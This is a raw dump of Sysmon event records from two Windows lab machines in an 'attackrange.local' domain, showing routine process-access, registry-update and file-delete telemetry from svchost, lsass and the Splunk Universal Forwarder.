14:43:33.444{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8b22|c:\windows\system32\lsm.dll+8a76|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:33.444{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8a38|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000038594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:33.304{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000006) 13241300x800000000000000038593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:33.304{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x0024bf97) 13241300x800000000000000038592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:33.304{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a649-0xd8bf89cd) 13241300x800000000000000038591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:33.304{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a652-0x3a83f1cd) 13241300x800000000000000038590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:33.304{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65a-0x9c4859cd) 13241300x800000000000000038589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:33.304{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000008) 13241300x800000000000000038588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:33.304{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x0024bf97) 13241300x800000000000000038587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:33.304{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a649-0xd8ac043b) 13241300x800000000000000038586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:33.304{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a652-0x3a706c3b) 13241300x800000000000000038585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:33.304{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65a-0x9c34d43b) 23542300x800000000000000038606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:34.776{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EC58D7D0B38FDFEC435CB90D27BA55F3,SHA256=7A1FAA7952F8B32F5343B58B4E66A1B4ED97294FCFDB6E074C6C62332DBA87BF,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000013712Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:34.254{625C326B-6F16-613B-9004-00000000F101}34482224C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013711Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:34.020{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013710Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:34.020{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013709Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:34.020{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F16-613B-9004-00000000F101}3448C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013708Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:34.020{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013707Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:34.020{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013706Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:34.020{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013705Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:34.020{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013704Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:34.020{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013703Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:34.020{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013702Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:34.020{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013701Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:34.020{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-6F16-613B-9004-00000000F101}3448C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013700Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:34.020{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F16-613B-9004-00000000F101}3448C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013699Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:34.021{625C326B-6F16-613B-9004-00000000F101}3448C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000013698Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:34.004{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7D580B47E988AEC5356EAFD04BA115A0,SHA256=07D10991FD325EF3A746CCD522DAA5D493533E76ECB1A79F4A7DC1B97858E1B1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013697Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:34.004{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A8606FDE0E8766A59C74CF9BA0E53B80,SHA256=2F5D3201E7C57D2E3E23C6B69055D03667031A7824DC0930246E3A33B0F40048,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:34.569{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=86A645946059A5DB53E6921640728726,SHA256=18390E733EB89FE0B3975CE358F5159CA13711CFCEFAD153BFF943191EB10172,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:34.054{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=8FD36E4F0F0470E480A631A04840B257,SHA256=38AD3F01980BF52B81B77FCAE836A0B939795E72C8116405BD17CF3241675F40,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:35.866{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=172F1470D087FE6BBD8329DBBC72F31F,SHA256=D3412BE40A7C5BE3864ECC38DFA04A76F622514AC24BA3253638B2DD691F6DAC,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000013743Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.926{625C326B-6F17-613B-9204-00000000F101}39882560C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013742Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.676{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F17-613B-9204-00000000F101}3988C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013741Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013740Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013739Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013738Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 